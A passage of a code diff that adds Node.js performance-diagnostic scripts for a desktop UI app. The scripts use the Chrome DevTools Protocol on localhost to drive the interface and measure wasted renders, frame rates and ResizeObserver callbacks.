+// Robust A/B: measure each surface N times, report median wasted renders.
+// Reduces timing noise from stream ticks landing on different clicks.
+import WebSocket from 'ws'
+
+const RUNS = 3
+let msgId = 1
+function send(ws, method, params = {}) {
+  const id = msgId++
+  return new Promise((resolve, reject) => {
+    const h = (data) => { const m = JSON.parse(data); if (m.id === id) { ws.off('message', h); m.error ? reject(m.error) : resolve(m.result) } }
+    ws.on('message', h); ws.send(JSON.stringify({ id, method, params }))
+  })
+}
+async function ev(ws, e) { return (await send(ws, 'Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }))?.result?.value }
+const sleep = ms => new Promise(r => setTimeout(r, ms))
+const median = arr => { const s = [...arr].sort((a,b)=>a-b); return s[Math.floor(s.length/2)] }
+
+async function wsUrl() {
+  const d = await (await fetch('http://127.0.0.1:9222/json/list')).json()
+  return d.find(t => t.type === 'page' && (t.url||'').includes('5174')).webSocketDebuggerUrl
+}
+
+async function measureOnce(ws, setup, holdMs) {
+  await setup(ws)
+  await sleep(300)
+  await ev(ws, `__RENDER_COUNTS__.start(); true`)
+  await sleep(holdMs)
+  const rep = JSON.parse(await ev(ws, `JSON.stringify(__RENDER_COUNTS__.report())`))
+  return rep.reduce((s, c) => s + c.wasted, 0)
+}
+
+async function main() {
+  const ws = new WebSocket(await wsUrl())
+  await new Promise((res, rej) => { ws.on('open', res); ws.on('error', rej) })
+  await send(ws, 'Runtime.enable')
+
+  const surfaces = [
+    ['Artifacts', ws => ev(ws, `window.location.hash='#/artifacts'; true`), 2000],
+    ['Messaging', ws => ev(ws, `window.location.hash='#/messaging'; true`), 2000],
+    ['Cron', ws => ev(ws, `window.location.hash='#/cron'; true`), 2000],
+    ['Profiles', ws => ev(ws, `window.location.hash='#/profiles'; true`), 2000],
+    ['Agents', ws => ev(ws, `window.location.hash='#/agents'; true`), 2000],
+    ['Starmap', ws => ev(ws, `window.location.hash='#/starmap'; true`), 2000],
+    ['Webhooks', ws => ev(ws, `window.location.hash='#/webhooks'; true`), 2000],
+    ['CommandCenter/System', async ws => { await ev(ws, `window.location.hash='#/command-center'; true`); await sleep(400); await ev(ws, `Array.from(document.querySelectorAll('button')).find(b=>b.textContent?.trim()==='System')?.click(); true`) }, 2000],
+  ]
+
+  const label = process.argv[2] || 'RUN'
+  console.log(`\n=== ${label} (median of ${RUNS}, wasted renders, 2s idle) ===`)
+  for (const [name, setup, hold] of surfaces) {
+    const runs = []
+    for (let i = 0; i < RUNS; i++) {
+      runs.push(await measureOnce(ws, setup, hold))
+      await ev(ws, `window.location.hash='#/'; true`); await sleep(300)
+    }
+    console.log(`  ${name.padEnd(24)} median ${String(median(runs)).padStart(6)}  (runs: ${runs.join(', ')})`)
+  }
+  ws.close()
+}
+main().catch(e => { console.error(e); process.exit(1) })
diff --git a/ui-desktop/scripts/diag-overlay-churn.mjs b/ui-desktop/scripts/diag-overlay-churn.mjs
new file mode 100644
index 000000000..41a237909
--- /dev/null
+++ b/ui-desktop/scripts/diag-overlay-churn.mjs
@@ -0,0 +1,161 @@
+#!/usr/bin/env node
+// CDP probe: measure render churn on overlay surfaces (cmdk, settings, command-center, skills)
+// against the user's live instance on :9222. Read-only — never closes or navigates away.
+import WebSocket from 'ws'
+
+const CDP_URL = 'ws://127.0.0.1:9222'
+const TARGET_GLOB = '/devtools/page/'
+
+let msgId = 1
+
+function send(ws, method, params = {}) {
+  const id = msgId++
+  return new Promise((resolve, reject) => {
+    const handler = (data) => {
+      const msg = JSON.parse(data.toString())
+      if (msg.id === id) {
+        ws.off('message', handler)
+        if (msg.error) reject(new Error(JSON.stringify(msg.error)))
+        else resolve(msg.result)
+      }
+    }
+    ws.on('message', handler)
+    ws.send(JSON.stringify({ id, method, params }))
+  })
+}
+
+async function getRendererTarget() {
+  const resp = await fetch('http://127.0.0.1:9222/json/list')
+  const targets = await resp.json()
+  // Find the renderer target (not devtools)
+  return targets.find(t => t.url?.startsWith('http://127.0.0.1:5174') || t.url?.includes('5174'))
+    ?? targets.find(t => t.type === 'page' && !t.url.startsWith('devtools'))
+}
+
+async function evalInPage(ws, expr) {
+  const result = await send(ws, 'Runtime.evaluate', {
+    expression: expr,
+    returnByValue: true,
+    awaitPromise: true,
+  })
+  return result?.result?.value
+}
+
+async function main() {
+  const target = await getRendererTarget()
+  if (!target) {
+    console.error('No renderer target found')
+    process.exit(1)
+  }
+  console.log(`Target: ${target.url}`)
+
+  const ws = new WebSocket(target.webSocketDebuggerUrl)
+  await new Promise((resolve, reject) => {
+    ws.on('open', resolve)
+    ws.on('error', reject)
+  })
+
+  await send(ws, 'Runtime.enable')
+
+  // Check if __RENDER_COUNTS__ is available
+  const hasCounter = await evalInPage(ws, 'typeof __RENDER_COUNTS__')
+  console.log(`__RENDER_COUNTS__ available: ${hasCounter}`)
+
+  if (hasCounter !== 'object') {
+    console.log('Render counter not loaded — checking perf-live...')
+    const hasPerfLive = await evalInPage(ws, 'typeof __PERF_LIVE__')
+    console.log(`__PERF_LIVE__ available: ${hasPerfLive}`)
+  }
+
+  // 1. Baseline: open cmdk, type a few chars, measure
+  console.log('\n=== CmdK Palette ===')
+  await evalInPage(ws, `
+    window.__renderBaseline = {}
+    if (typeof __RENDER_COUNTS__ === 'object' && __RENDER_COUNTS__) {
+      __RENDER_COUNTS__.reset()
+    }
+    // Open cmdk via keyboard shortcut
+    const evt = new KeyboardEvent('keydown', { key: 'k', metaKey: true, bubbles: true })
+    document.dispatchEvent(evt)
+    true
+  `)
+  await new Promise(r => setTimeout(r, 500))
+
+  // Type some characters
+  for (const ch of ['s', 'e', 't', 't', 'i', 'n', 'g']) {
+    await evalInPage(ws, `
+      const el = document.querySelector('[cmdk-input]') || document.querySelector('input[placeholder]')
+      if (el) {
+        el.focus()
+        el.value = el.value + '${ch}'
+        el.dispatchEvent(new Event('input', { bubbles: true }))
+      }
+      true
+    `)
+    await new Promise(r => setTimeout(r, 80))
+  }
+
+  await new Promise(r => setTimeout(r, 300))
+  const cmdkCounts = await evalInPage(ws, `
+    __RENDER_COUNTS__?.snapshot?.() ?? __RENDER_COUNTS__?.counts ?? 'no counter'
+  `)
+  console.log('CmdK render counts after typing "setting":', JSON.stringify(cmdkCounts, null, 2))
+
+  // Close cmdk
+  await evalInPage(ws, `new KeyboardEvent('keydown', { key: 'Escape', bubbles: true }); document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true })); true`)
+  await new Promise(r => setTimeout(r, 300))
+
+  // 2. Command Center — measure renders while on System tab
+  console.log('\n=== Command Center (System tab) ===')
+  await evalInPage(ws, `
+    if (typeof __RENDER_COUNTS__ === 'object' && __RENDER_COUNTS__) {
+      __RENDER_COUNTS__.reset()
+    }
+    // Navigate to command center system section
+    const link = Array.from(document.querySelectorAll('a, button')).find(el => el.textContent?.includes('System') || el.textContent?.includes('Command Center'))
+    if (link) link.click()
+    true
+  `)
+  await new Promise(r => setTimeout(r, 1000))
+
+  const ccCounts = await evalInPage(ws, `
+    __RENDER_COUNTS__?.snapshot?.() ?? __RENDER_COUNTS__?.counts ?? 'no counter'
+  `)
+  console.log('Command Center render counts (after 1s on System tab):', JSON.stringify(ccCounts, null, 2))
+
+  // 3. Settings page — measure renders on nav
+  console.log('\n=== Settings Page ===')
+  await evalInPage(ws, `
+    if (typeof __RENDER_COUNTS__ === 'object' && __RENDER_COUNTS__) {
+      __RENDER_COUNTS__.reset()
+    }
+    // Navigate to settings
+    const link = Array.from(document.querySelectorAll('a, button')).find(el => el.textContent?.includes('Settings'))
+    if (link) link.click()
+    true
+  `)
+  await new Promise(r => setTimeout(r, 1000))
+
+  // Click through a few nav items
+  for (const label of ['Appearance', 'Gateway', 'Keys', 'About']) {
+    await evalInPage(ws, `
+      const el = Array.from(document.querySelectorAll('button')).find(b => b.textContent?.trim() === '${label}')
+      if (el) el.click()
+      true
+    `)
+    await new Promise(r => setTimeout(r, 150))
+  }
+
+  const settingsCounts = await evalInPage(ws, `
+    __RENDER_COUNTS__?.snapshot?.() ?? __RENDER_COUNTS__?.counts ?? 'no counter'
+  `)
+  console.log('Settings render counts (after clicking 4 nav items):', JSON.stringify(settingsCounts, null, 2))
+
+  ws.close()
+  console.log('\nDone.')
+}
+
+main().catch(err => {
+  console.error('Error:', err)
+  process.exit(1)
+})
diff --git a/ui-desktop/scripts/diag-overlay-full.mjs b/ui-desktop/scripts/diag-overlay-full.mjs
new file mode 100644
index 000000000..c851faa96
--- /dev/null
+++ b/ui-desktop/scripts/diag-overlay-full.mjs
@@ -0,0 +1,201 @@
+#!/usr/bin/env node
+// Comprehensive overlay render-churn measurement on the live instance.
+// Measures: cmdk root + submenus, settings, command center, capabilities, system overlays.
+// Read-only — never closes the app, only navigates and clicks.
+import WebSocket from 'ws'
+
+const WS_URL = 'ws://127.0.0.1:9222/devtools/page/6E095DBE024BD280C674D00023C01201'
+let msgId = 1
+
+function send(ws, method, params = {}) {
+  const id = msgId++
+  return new Promise((resolve, reject) => {
+    const handler = (data) => {
+      const msg = JSON.parse(data.toString())
+      if (msg.id === id) {
+        ws.off('message', handler)
+        msg.error ? reject(new Error(JSON.stringify(msg.error))) : resolve(msg.result)
+      }
+    }
+    ws.on('message', handler)
+    ws.send(JSON.stringify({ id, method, params }))
+  })
+}
+
+async function eval_(ws, expr) {
+  const r = await send(ws, 'Runtime.evaluate', { expression: expr, returnByValue: true, awaitPromise: true })
+  return r?.result?.value
+}
+
+async function sleep(ms) { return new Promise(r => setTimeout(r, ms)) }
+
+async function measure(ws, label, fn, settleMs = 400) {
+  await eval_(ws, `__RENDER_COUNTS__.start(); true`)
+  await fn(ws)
+  await sleep(settleMs)
+  const report = await eval_(ws, `JSON.stringify(__RENDER_COUNTS__.report())`)
+  const parsed = JSON.parse(report)
+  const totalRenders = parsed.reduce((s, c) => s + c.renders, 0)
+  const totalWasted = parsed.reduce((s, c) => s + c.wasted, 0)
+  const totalMs = parsed.reduce((s, c) => s + c.totalMs, 0)
+  const top5 = parsed.filter(c => c.wasted > 0).sort((a,b) => b.wasted - a.wasted).slice(0, 5)
+  console.log(`\n${label}`)
+  console.log(`  total: ${totalRenders} renders, ${totalWasted} wasted, ${totalMs.toFixed(1)}ms`)
+  if (top5.length > 0) {
+    for (const c of top5) {
+      console.log(`    ${c.name}: ${c.renders} renders, ${c.wasted} wasted, ${c.totalMs.toFixed(1)}ms`)
+    }
+  } else {
+    console.log(`    (no wasted renders)`)
+  }
+  return { label, totalRenders, totalWasted, totalMs, top: top5 }
+}
+
+async function clickByText(ws, text, tag = 'button') {
+  return eval_(ws, `
+    const el = Array.from(document.querySelectorAll('${tag}')).find(b => b.textContent?.trim() === '${text}')
+    if (el) { el.click(); true } else false
+  `)
+}
+
+async function clickByHref(ws, partial) {
+  return eval_(ws, `
+    const el = Array.from(document.querySelectorAll('a,button')).find(e => e.getAttribute('href')?.includes('${partial}'))
+    if (el) { el.click(); true } else false
+  `)
+}
+
+async function typeInInput(ws, text) {
+  for (const ch of text) {
+    await eval_(ws, `
+      const el = document.querySelector('[cmdk-input]') || document.querySelector('input[type="text"]') || document.querySelector('input')
+      if (el) { el.focus(); el.value = el.value + '${ch}'; el.dispatchEvent(new Event('input', {bubbles:true})) }
+      true
+    `)
+    await sleep(50)
+  }
+}
+
+async function pressKey(ws, key, mods = {}) {
+  await eval_(ws, `
+    document.dispatchEvent(new KeyboardEvent('keydown', { key: '${key}', ${Object.entries(mods).map(([k,v]) => `${k}:${v}`).join(', ')}, bubbles: true }))
+    true
+  `)
+}
+
+async function main() {
+  const ws = new WebSocket(WS_URL)
+  await new Promise((resolve, reject) => {
+    ws.on('open', resolve)
+    ws.on('error', reject)
+  })
+  await send(ws, 'Runtime.enable')
+
+  const avail = await eval_(ws, `typeof __RENDER_COUNTS__`)
+  console.log(`__RENDER_COUNTS__: ${avail}`)
+  if (avail !== 'object') {
+    console.error('Render counter not loaded. Reload the page.')
+    process.exit(1)
+  }
+
+  const results = []
+
+  // === 1. CmdK root: open, type "setting", close ===
+  results.push(await measure(ws, '1. CmdK root (type "setting")', async (ws) => {
+    await pressKey(ws, 'k', { metaKey: true })
+    await sleep(300)
+    await typeInInput(ws, 'setting')
+  }))
+  await pressKey(ws, 'Escape')
+  await sleep(300)
+
+  // === 2. CmdK submenu: open, navigate to theme picker, click a theme, back ===
+  results.push(await measure(ws, '2. CmdK theme submenu', async (ws) => {
+    await pressKey(ws, 'k', { metaKey: true })
+    await sleep(300)
+    await typeInInput(ws, 'theme')
+    await sleep(200)
+    // Click first theme item
+    await eval_(ws, `
+      const item = document.querySelector('[cmdk-item]')
+      if (item) item.click()
+      true
+    `)
+    await sleep(300)
+  }))
+  await pressKey(ws, 'Escape')
+  await sleep(300)
+
+  // === 3. CmdK color-mode submenu ===
+  results.push(await measure(ws, '3. CmdK color-mode submenu', async (ws) => {
+    await pressKey(ws, 'k', { metaKey: true })
+    await sleep(300)
+    await typeInInput(ws, 'color mode')
+    await sleep(200)
+    await eval_(ws, `const item = document.querySelector('[cmdk-item]'); if (item) item.click(); true`)
+    await sleep(300)
+  }))
+  await pressKey(ws, 'Escape')
+  await sleep(300)
+
+  // === 4. Settings: open, click through nav items ===
+  results.push(await measure(ws, '4. Settings (5 nav clicks)', async (ws) => {
+    await clickByHref(ws, 'settings')
+    await sleep(500)
+    for (const label of ['Appearance', 'Gateway', 'Keys', 'Notifications', 'About']) {
+      await clickByText(ws, label)
+      await sleep(100)
+    }
+  }))
+
+  // === 5. Command Center: open to System tab, idle 2s ===
+  results.push(await measure(ws, '5. Command Center (System tab, 2s idle)', async (ws) => {
+    await clickByHref(ws, 'command-center')
+    await sleep(500)
+    await clickByText(ws, 'System')
+    await sleep(2000)
+  }, 100))
+
+  // === 6. Command Center: Sessions tab ===
+  results.push(await measure(ws, '6. Command Center (Sessions tab, 1s)', async (ws) => {
+    await clickByText(ws, 'Sessions')
+    await sleep(1000)
+  }, 100))
+
+  // === 7. Capabilities/Skills page ===
+  results.push(await measure(ws, '7. Capabilities (Skills tab, 1s)', async (ws) => {
+    await clickByHref(ws, 'skills')
+    await sleep(800)
+    // Click Skills tab if not already
+    await clickByText(ws, 'Skills')
+    await sleep(1000)
+  }, 100))
+
+  // === 8. Capabilities Toolsets tab ===
+  results.push(await measure(ws, '8. Capabilities (Toolsets tab, 1s)', async (ws) => {
+    await clickByText(ws, 'Tools')
+    await sleep(1000)
+  }, 100))
+
+  // === 9. Capabilities MCP tab ===
+  results.push(await measure(ws, '9. Capabilities (MCP tab, 1s)', async (ws) => {
+    await clickByText(ws, 'MCP')
+    await sleep(1000)
+  }, 100))
+
+  // Navigate back to chat
+  await eval_(ws, `window.location.hash = '#/'; true`)
+  await sleep(300)
+
+  // Summary table
+  console.log('\n\n=== SUMMARY ===')
+  console.log('Surface'.padEnd(45) + 'Renders'.padStart(10) + 'Wasted'.padStart(10) + 'ms'.padStart(10))
+  console.log('-'.repeat(75))
+  for (const r of results) {
+    console.log(r.label.padEnd(45) + String(r.totalRenders).padStart(10) + String(r.totalWasted).padStart(10) + r.totalMs.toFixed(1).padStart(10))
+  }
+
+  ws.close()
+}
+
+main().catch(err => { console.error(err); process.exit(1) })
diff --git a/ui-desktop/scripts/diag-overlay-sweep.mjs b/ui-desktop/scripts/diag-overlay-sweep.mjs
new file mode 100644
index 000000000..bfb54fc1f
--- /dev/null
+++ b/ui-desktop/scripts/diag-overlay-sweep.mjs
@@ -0,0 +1,110 @@
+#!/usr/bin/env node
+// Full surface sweep: every overlay, every settings sub-page, every system overlay.
+// Read-only — navigates and clicks, never closes the app.
+import WebSocket from 'ws'
+
+const WS_URL = process.env.CDP_WS || 'ws://127.0.0.1:9222/devtools/page/6E095DBE024BD280C674D00023C01201'
+let msgId = 1
+
+function send(ws, method, params = {}) {
+  const id = msgId++
+  return new Promise((resolve, reject) => {
+    const handler = (data) => {
+      const msg = JSON.parse(data.toString())
+      if (msg.id === id) {
+        ws.off('message', handler)
+        msg.error ? reject(new Error(JSON.stringify(msg.error))) : resolve(msg.result)
+      }
+    }
+    ws.on('message', handler)
+    ws.send(JSON.stringify({ id, method, params }))
+  })
+}
+async function eval_(ws, expr) {
+  const r = await send(ws, 'Runtime.evaluate', { expression: expr, returnByValue: true, awaitPromise: true })
+  return r?.result?.value
+}
+async function sleep(ms) { return new Promise(r => setTimeout(r, ms)) }
+
+async function measure(ws, label, fn, settleMs = 300) {
+  await eval_(ws, `__RENDER_COUNTS__.start(); true`)
+  await fn(ws)
+  await sleep(settleMs)
+  const report = JSON.parse(await eval_(ws, `JSON.stringify(__RENDER_COUNTS__.report())`))
+  const totalRenders = report.reduce((s, c) => s + c.renders, 0)
+  const totalWasted = report.reduce((s, c) => s + c.wasted, 0)
+  const totalMs = report.reduce((s, c) => s + c.totalMs, 0)
+  const top = report.filter(c => c.wasted > 0).sort((a,b) => b.wasted - a.wasted).slice(0, 6)
+  console.log(`\n${label}`)
+  console.log(`  ${totalRenders} renders · ${totalWasted} wasted · ${totalMs.toFixed(1)}ms`)
+  for (const c of top) console.log(`    ${c.name}: ${c.renders}r / ${c.wasted}w / ${c.totalMs.toFixed(1)}ms`)
+  if (top.length === 0) console.log(`    (clean)`)
+  return { label, totalRenders, totalWasted, totalMs }
+}
+
+async function nav(ws, hash) {
+  await eval_(ws, `window.location.hash = '#${hash}'; true`)
+}
+async function clickText(ws, text, tag='button') {
+  return eval_(ws, `
+    const el = Array.from(document.querySelectorAll('${tag}')).find(b => b.textContent?.trim() === ${JSON.stringify(text)})
+    if (el) { el.click(); true } else false
+  `)
+}
+
+async function main() {
+  const ws = new WebSocket(WS_URL)
+  await new Promise((res, rej) => { ws.on('open', res); ws.on('error', rej) })
+  await send(ws, 'Runtime.enable')
+  if (await eval_(ws, `typeof __RENDER_COUNTS__`) !== 'object') { console.error('counter not loaded'); process.exit(1) }
+
+  const results = []
+
+  // System overlays — open each, idle 2s (streaming underneath is the churn test)
+  for (const [label, route] of [
+    ['Artifacts', '/artifacts'],
+    ['Messaging', '/messaging'],
+    ['Cron', '/cron'],
+    ['Profiles', '/profiles'],
+    ['Agents', '/agents'],
+    ['Starmap', '/starmap'],
+    ['Webhooks', '/webhooks'],
+  ]) {
+    results.push(await measure(ws, `OVERLAY: ${label} (open + 2s idle)`, async (ws) => {
+      await nav(ws, route)
+      await sleep(2200)
+    }, 100))
+    await nav(ws, '/')
+    await sleep(300)
+  }
+
+  // Settings sub-pages — open settings, click each nav item, idle 1.5s on it
+  await nav(ws, '/settings')
+  await sleep(600)
+  for (const label of ['Model','Session','Appearance','Notifications','Providers','Gateway','Keybinds','API Keys','Plugins','Archived Chats','About']) {
+    results.push(await measure(ws, `SETTINGS: ${label} (1.5s idle)`, async (ws) => {
+      await clickText(ws, label)
+      await sleep(1500)
+    }, 100))
+  }
+  await nav(ws, '/')
+  await sleep(300)
+
+  // Messaging sub-tabs (platform detail) — click through if present
+  await nav(ws, '/messaging')
+  await sleep(800)
+  results.push(await measure(ws, 'MESSAGING: idle 2s w/ platform list', async (ws) => {
+    await sleep(2000)
+  }, 100))
+  await nav(ws, '/')
+  await sleep(300)
+
+  console.log('\n\n=== SUMMARY (wasted renders) ===')
+  console.log('Surface'.padEnd(48) + 'Renders'.padStart(9) + 'Wasted'.padStart(9) + 'ms'.padStart(9))
+  console.log('-'.repeat(75))
+  for (const r of results) {
+    console.log(r.label.padEnd(48) + String(r.totalRenders).padStart(9) + String(r.totalWasted).padStart(9) + r.totalMs.toFixed(1).padStart(9))
+  }
+  ws.close()
+}
+main().catch(e => { console.error(e); process.exit(1) })
diff --git a/ui-desktop/scripts/diag-real-loop.mjs b/ui-desktop/scripts/diag-real-loop.mjs
new file mode 100644
index 000000000..e3bde3b38
--- /dev/null
+++ b/ui-desktop/scripts/diag-real-loop.mjs
@@ -0,0 +1,149 @@
+// The real-app perf loop: drive HER hgui instance (real profile, real
+// sessions) through the three interactions that matter — session switch,
+// sidebar drag, composer typing — and report honest single-clock numbers.
+//
+//   node scripts/diag-real-loop.mjs [--port 9222] [--switches 6]
+//
+// Unlike the synthetic scenarios this clicks REAL sidebar rows, so session
+// switching is measured as the user feels it: click -> transcript painted.
+
+import { attach } from './perf/lib/launch.mjs'
+import { sleep } from './perf/lib/cdp.mjs'
+
+const arg = (name, fallback) => {
+  const i = process.argv.indexOf(`--${name}`)
+
+  return i === -1 ? fallback : process.argv[i + 1]
+}
+
+const port = Number(arg('port', 9222))
+const SWITCHES = Number(arg('switches', 6))
+
+const { cdp, teardown } = await attach({ port })
+
+// ---------------------------------------------------------------------------
+// Session switch: click a sidebar session row, await the transcript settling.
+// Measures click -> first paint of the new transcript AND click -> settled
+// (two rAFs with no further DOM mutation in the thread viewport).
+// ---------------------------------------------------------------------------
+const SWITCH = swaps => `
+  (async () => {
+    const rows = [...document.querySelectorAll('[data-slot="row-button"]')]
+      .filter(el => el.offsetParent && (el.textContent ?? '').trim())
+    if (rows.length < 2) return JSON.stringify({ error: 'need 2+ visible session rows, found ' + rows.length })
+
+    const results = []
+    for (let i = 0; i < ${swaps}; i++) {
+      const row = rows[i % Math.min(rows.length, 4)]
+      const viewport = () => document.querySelector('[data-slot="aui_thread-viewport"]')
+      const t0 = performance.now()
+      row.dispatchEvent(new PointerEvent('pointerdown', { bubbles: true, cancelable: true, pointerId: 1, isPrimary: true, button: 0, buttons: 1 }))
+      row.dispatchEvent(new PointerEvent('pointerup', { bubbles: true, cancelable: true, pointerId: 1, isPrimary: true, button: 0 }))
+      row.click()
+
+      // First paint: next two rAFs after the click.
+      await new Promise(r => requestAnimationFrame(() => requestAnimationFrame(r)))
+      const firstPaint = performance.now() - t0
+
+      // Settled: no mutations in the viewport for 2 consecutive frames, capped 3s.
+      let lastMutation = performance.now()
+      const target = viewport() ?? document.body
+      const mo = new MutationObserver(() => { lastMutation = performance.now() })
+      mo.observe(target, { childList: true, subtree: true, characterData: true })
+      const deadline = performance.now() + 3000
+      while (performance.now() < deadline) {
+        await new Promise(r => requestAnimationFrame(r))
+        if (performance.now() - lastMutation > 120) break
+      }
+      mo.disconnect()
+      results.push({ firstPaint: Math.round(firstPaint), settled: Math.round(performance.now() - t0 - 120) })
+      await new Promise(r => setTimeout(r, 250))
+    }
+    return JSON.stringify(results)
+  })()
+`
+
+// ---------------------------------------------------------------------------
+// Drag the first visible sash, single-clock frames.
+// ---------------------------------------------------------------------------
+const DRAG = `
+  (async () => {
+    const handle = [...document.querySelectorAll('[role="separator"]')].find(el => el.offsetParent || el.getBoundingClientRect().width > 0)
+    if (!handle) return JSON.stringify({ error: 'no sash' })
+    const box = handle.getBoundingClientRect()
+    const y = box.top + box.height / 2
+    const x0 = box.left + box.width / 2
+    let x = x0
+    const o = { bubbles: true, cancelable: true, pointerId: 1, pointerType: 'mouse', isPrimary: true, button: 0, buttons: 1 }
+    const frames = []
+    let last = performance.now()
+    handle.dispatchEvent(new PointerEvent('pointerdown', { ...o, clientX: x, clientY: y }))
+    for (let i = 0; i < 60; i++) {
+      x += (i < 30 ? 2 : -2)
+      window.dispatchEvent(new PointerEvent('pointermove', { ...o, clientX: x, clientY: y }))
+      await new Promise(r => requestAnimationFrame(r))
+      const now = performance.now(); frames.push(now - last); last = now
+    }
+    window.dispatchEvent(new PointerEvent('pointerup', { ...o, buttons: 0, clientX: x, clientY: y }))
+    const total = frames.reduce((a, b) => a + b, 0)
+    const sorted = [...frames].sort((a, b) => a - b)
+    return JSON.stringify({
+      fps: Math.round((frames.length / total) * 1000 * 10) / 10,
+      p95: Math.round(sorted[Math.floor(sorted.length * 0.95)] * 10) / 10,
+      worst: Math.round(sorted[sorted.length - 1] * 10) / 10,
+      slow33: frames.filter(f => f > 33).length
+    })
+  })()
+`
+
+// ---------------------------------------------------------------------------
+// Type into the composer, single-clock frames (one mark per keystroke frame).
+// ---------------------------------------------------------------------------
+const TYPE = `
+  (async () => {
+    const el = [...document.querySelectorAll('[contenteditable="true"]')].find(e => e.offsetParent)
+    if (!el) return JSON.stringify({ error: 'no composer' })
+    el.focus()
+    const frames = []
+    let last = performance.now()
+    for (let i = 0; i < 40; i++) {
+      const ch = 'the quick brown fox '[i % 20]
+      el.dispatchEvent(new KeyboardEvent('keydown', { bubbles: true, key: ch }))
+      el.textContent += ch
+      el.dispatchEvent(new InputEvent('input', { bubbles: true, data: ch, inputType: 'insertText' }))
+      el.dispatchEvent(new KeyboardEvent('keyup', { bubbles: true, key: ch }))
+      await new Promise(r => requestAnimationFrame(r))
+      const now = performance.now(); frames.push(now - last); last = now
+      await new Promise(r => setTimeout(r, 20))
+    }
+    // Clear what we typed.
+    el.textContent = ''
+    el.dispatchEvent(new InputEvent('input', { bubbles: true, inputType: 'deleteContentBackward' }))
+    const moving = frames
+    const total = moving.reduce((a, b) => a + b, 0)
+    const sorted = [...moving].sort((a, b) => a - b)
+    return JSON.stringify({
+      fps: Math.round((moving.length / total) * 1000 * 10) / 10,
+      p95: Math.round(sorted[Math.floor(sorted.length * 0.95)] * 10) / 10,
+      worst: Math.round(sorted[sorted.length - 1] * 10) / 10,
+      slow33: moving.filter(f => f > 33).length
+    })
+  })()
+`
+
+try {
+  await cdp.send('Runtime.enable')
+
+  console.log('== SESSION SWITCH (click -> paint / settled ms) ==')
+  console.log(await cdp.eval(SWITCH(SWITCHES)))
+
+  await sleep(500)
+  console.log('\n== SIDEBAR DRAG ==')
+  console.log(await cdp.eval(DRAG))
+
+  await sleep(500)
+  console.log('\n== COMPOSER TYPING ==')
+  console.log(await cdp.eval(TYPE))
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-ro-storm.mjs b/ui-desktop/scripts/diag-ro-storm.mjs
new file mode 100644
index 000000000..cfb3149f1
--- /dev/null
+++ b/ui-desktop/scripts/diag-ro-storm.mjs
@@ -0,0 +1,170 @@
+// How many ResizeObserver callbacks does one sash drag actually fire, and for
+// how many DISTINCT elements? The trace named use-resize-observer.ts at 977ms
+// but not whether that's a few expensive calls or a great many cheap ones —
+// and the fix differs completely between those.
+//
+//   node scripts/diag-ro-storm.mjs [--port 9222] [--tiles 5]
+
+import { attach } from './perf/lib/launch.mjs'
+import { sleep } from './perf/lib/cdp.mjs'
+
+const arg = (name, fallback) => {
+  const i = process.argv.indexOf(`--${name}`)
+
+  return i === -1 ? fallback : process.argv[i + 1]
+}
+
+const port = Number(arg('port', 9222))
+const TILES = Number(arg('tiles', 5))
+const TURNS = Number(arg('turns', 20))
+
+const setup = `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    if (!hook) return 'no-hook'
+    const turn = (sid, i) => ([
+      { id: sid + '-u' + i, role: 'user', timestamp: Date.now(),
+        parts: [{ type: 'text', text: 'Question ' + i + ' about the diff and its error path.' }] },
+      { id: sid + '-a' + i, role: 'assistant', timestamp: Date.now(), pending: false,
+        parts: [{ type: 'text', text: '## Finding ' + i + '\\n\\nProse with **bold** and \`code\`.\\n' }] }
+    ])
+    window.__R__ = { ids: [] }
+    for (let n = 1; n <= ${TILES}; n++) {
+      const sid = 'ro-tile-' + n
+      const rid = 'ro-rt-' + n
+      const messages = []
+      for (let i = 0; i < ${TURNS}; i++) messages.push(...turn(sid, i))
+      messages.push({ id: sid + '-stream', role: 'assistant', timestamp: Date.now(), pending: true,
+        parts: [{ type: 'text', text: 'Working.' }] })
+      window.__R__.ids.push({ sid, rid })
+      hook.open(sid, 'center')
+      hook.patch(sid, { runtimeId: rid })
+      hook.publish(rid, {
+        storedSessionId: sid, messages, branch: '', cwd: '', model: '', provider: '',
+        reasoningEffort: '', serviceTier: '', fast: false, yolo: false, personality: '',
+        busy: true, awaitingResponse: false, streamId: sid + '-stream', sawAssistantPayload: true,
+        pendingBranchGroup: null, interrupted: false, interimBoundaryPending: false,
+        needsInput: false, turnStartedAt: Date.now(), usage: null
+      })
+    }
+    return 'ok'
+  })()
+`
+
+const reveal = sid => `window.__CLAWCODEX_LAYOUT_TREE__.reveal(${JSON.stringify(`session-tile:${sid}`)})`
+
+// Patch ResizeObserver to count callbacks + distinct observed targets, then
+// drag and report. Counting happens in the page so nothing crosses CDP per call.
+//
+// NOTE: the app's shared observer (hooks/use-resize-observer.ts) is created
+// lazily on first use, so this patch must be installed BEFORE any surface
+// mounts — otherwise the shared instance is a native one this wrapper never
+// sees and every counter reads zero. `constructed` is the tell: a run showing
+// a handful of constructions and zero callbacks means the patch landed late,
+// not that the app stopped observing.
+const INSTRUMENT = `
+  (() => {
+    if (window.__ROSTATS__) return 'already'
+    const Native = window.ResizeObserver
+    const stats = { constructed: 0, observed: 0, callbacks: 0, entries: 0, targets: new Set(), on: false }
+    window.__ROSTATS__ = stats
+    window.ResizeObserver = class extends Native {
+      constructor(cb) {
+        super((entries, obs) => {
+          if (stats.on) {
+            stats.callbacks += 1
+            stats.entries += entries.length
+            for (const e of entries) stats.targets.add(e.target)
+          }
+          return cb(entries, obs)
+        })
+        stats.constructed += 1
+      }
+      observe(...args) {
+        stats.observed += 1
+        return super.observe(...args)
+      }
+    }
+    return 'patched'
+  })()
+`
+
+const DRAG = `
+  (async () => {
+    const s = window.__ROSTATS__
+    s.callbacks = 0; s.entries = 0; s.targets = new Set(); s.on = true
+    const handle = document.querySelector('[role="separator"]')
+    if (!handle) { s.on = false; return JSON.stringify({ error: 'no sash' }) }
+    const box = handle.getBoundingClientRect()
+    const y = box.top + box.height / 2
+    const x0 = box.left + box.width / 2
+    let x = x0
+    const opts = { bubbles: true, cancelable: true, pointerId: 1, pointerType: 'mouse', isPrimary: true, button: 0, buttons: 1 }
+    const t0 = performance.now()
+    handle.dispatchEvent(new PointerEvent('pointerdown', { ...opts, clientX: x, clientY: y }))
+    for (let i = 0; i < 40; i++) {
